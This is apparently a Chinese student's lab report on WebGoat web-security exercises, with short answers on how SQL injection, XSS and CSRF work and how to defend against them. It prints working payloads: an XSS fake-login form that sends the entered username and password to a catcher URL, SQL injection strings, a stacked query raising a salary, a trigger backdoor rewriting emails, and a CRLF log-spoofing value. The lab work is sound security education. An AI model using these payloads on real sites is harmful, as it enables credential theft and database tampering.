20155331《网络对抗》 Exp9 Web安全基础

实验过程

WebGoat

在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。



打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,使用默认的账号密码即可登陆。



XSS攻击

Phishing with XSS 跨站脚本钓鱼攻击

任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击

在文本框里面注入代码:

</form>
<script>
function hack()
{
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("You've been attacked ... Your Identity information were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

跳出一个攻击者编写的填写用户名和密码的表单

攻击成功,获取用户名和密码

Reflected XSS 反射型XSS攻击

在code框中输入

Stored XSS Attacks 存储型XSS攻击

打开Stored XSS Attacks,在Message里输入

CSRF攻击

Cross Site Request Forgery(CSRF)

查看页面右边Parameters中的src和menu值

message框中输入代码:

提交后生成一个链接dzdd:

点击学号名即可查看用户操作的信息,攻击成功

CSRF Prompt By-Pass

查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:

![](https://images2018.cnblogs.com/blog/1071515/201805/1071515-20180528222804582-2119136616.png)

提交后生成一个链接5331:

点击学号名即可查看用户操作的信息,攻击成功

SQL注入攻击

SQL字符串注入

使用SQL注入查看ID卡号码,根据提示输入Smith,查询名为Smith的所有信息

可以发现,这样就轻松得到了名为Smith的ID卡号

输入'or 1='1,构成永真式

Numeric SQL Injection

可以发现此选择框是一个下拉框,是无法修改,因此可使用BurpSuite抓包修改

打开BurpSuite,在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5331,确认后会在Options下增加一行,勾选新形成的这一行





点击浏览器,更多选项卡,选择preference,advanced,选择network页标签,在connection那一行选settings

在弹出的窗口中设置代理服务器和端口



设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包:

右键选择send to repeater,进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1

Log Spoofing

在User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果,破解成功:





LAB: SQL Injection of stage 1

使用字符串SQL注入绕过认证。利用SQL注入日志作为老板('neville”)没有使用正确的密码。验证neville的配置文件可以查看和所有功能可用

选择用户名为neville的admin用户,输入永真式' or 1=1 --为密码,输入时发现密码框文本长度设置不够构造永真式,执行右键->Inpect Element with Firebug,手动修改密码长度为11(永真式长度)



登录成功

Database Backdoors

使用字符串SQL注入执行多个SQL语句。第一个是系统的,第二个是你的。帐户ID是101。这个页面允许你看到你的密码,SSN和工资。尝试注入另一个更新更新工资到更高的东西

输入101,得到了该用户的信息:

输入注入语句:101; update employee set salary=100000,可以看到工资上涨。

使用语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='xiejialing@qq.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我的:

基础问题回答

SQL注入攻击原理,如何防御?

攻击原理

SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

预防

1、 普通用户与系统管理员用户的权限要有严格的区分。

2、 强迫使用参数化语句。

3、 加强对用户输入的验证。

4、 多多使用SQL Server数据库自带的安全参数。

5、必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。

XSS攻击的原理,如何防御?

攻击原理:

跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码注入到网页上或者数据库存储里面,在访问网页或者执行网页上功能是就会触发,实现攻击。

防御方法:

对于用户输入的攻击,只允许输入合法的值,其它值一概过滤掉。

CSRF攻击原理,如何防御?

攻击原理:

通过劫持会话,伪造身份等方式来达到一些非法目的,例如转账,支付等

防御方法:

使用验证码,表单中附加随机值,以此来防止冒充,在对于用户的隐私数据尽量进行加密处理,加密传输

实验总结

感觉平常上网时危险还是挺多的,可以通过各种的方法实现攻击,所以在做网站编程的时候应该对用户输入的信息做出合理的判断,从而保证用户安全。

20155331《网络对抗》 Exp9 Web安全基础的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  3. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  4. 20145315何佳蕾《网络对抗》Web安全基础

    20145315何佳蕾<网络对抗>Web安全基础 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页 ...

  5. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  6. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  7. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  8. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  9. 20155311《网络对抗》Web安全基础实践

    20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  10. 20155338《网络对抗》Web安全基础实践

    20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...

随机推荐

  1. 在Silverlight中动态绑定页面报表(PageReport)的数据源

    ActiveReports 7中引入了一种新的报表模型——PageReport(页面布局报表),这种报表模型又细分了两种具体显示形式: o    固定页面布局报表模型(FPL)是ActiveRepor ...

  2. Oracle 参数文件及相关操作介绍

    Oracle 参数文件及相关操作介绍 by:授客 QQ:1033553122 1.服务器参数文件 服务器参数文件是一个二进制文件,作为初始化参数的存储仓库.实例运行时,可用ALTER SYSTEM来改 ...

  3. Expo大作战(十九)--expo打包后,发布分用程序到商店的注意事项

    简要:本系列文章讲会对expo进行全面的介绍,本人从2017年6月份接触expo以来,对expo的研究断断续续,一路走来将近10个月,废话不多说,接下来你看到内容,讲全部来与官网 我猜去全部机翻+个人 ...

  4. CAC的Debian-8-64bit安装BBR正确方式是?

    裝过三台debian 64 bit, CAC, 2歐, KVM虛擬機 做法都一樣 0. 有裝銳速記得先刪除, 免得換核心後, 銳速在扯後腿 1.換4.9版kernel 有正式版 別裝啥rc版, 4.9 ...

  5. Oracle EBS OPM close batch

    --close_batch --created by jenrry DECLARE x_message_count NUMBER; x_message_list VARCHAR2 (4000); x_ ...

  6. Sql server中的 nvarchar(max) 到底有多大?(转载)

    问题: SQL server中的nvarchar(max)最大的长度是4000个字吗? 如果字段的内容超过4000个字时用什么类型呢?text 还是binary?他们的最大长度是多少?比如字段放的是长 ...

  7. maven+spring+junit测试要注意的事情

    使用maven方式创建webapp工程的资料网上一大堆,在这里也不详细说了.在创建完成之后,里面说到要转动态web工程时要切换为3.0版本,但是我本地切换不了,网上的方法好像也没用,暂时也没用到这块. ...

  8. python常用内置模块

    #持续更新 #在使用内置模块的时候需要导入,例如import abc,则导入abc模块,当然模块也可以自己写,相当于一个类,后面放到类里说,这个因为环境闲置,有些无法执行,只能理解了 #os系统操作 ...

  9. django导入自定义模块

    自定义模块cust.py位于应用aptest目录下 1.编辑settings.py from aptest import cust 2.编辑views.py from cust import pc # ...

  10. PHP学习第一天

    PHP语句是以分号结尾的 单行注释:   //  C++风格的单行注释 #  shell 风格的单行注释  跟python差不多 多行注释: /*......*/  c++风格的多行注释 常量定义: ...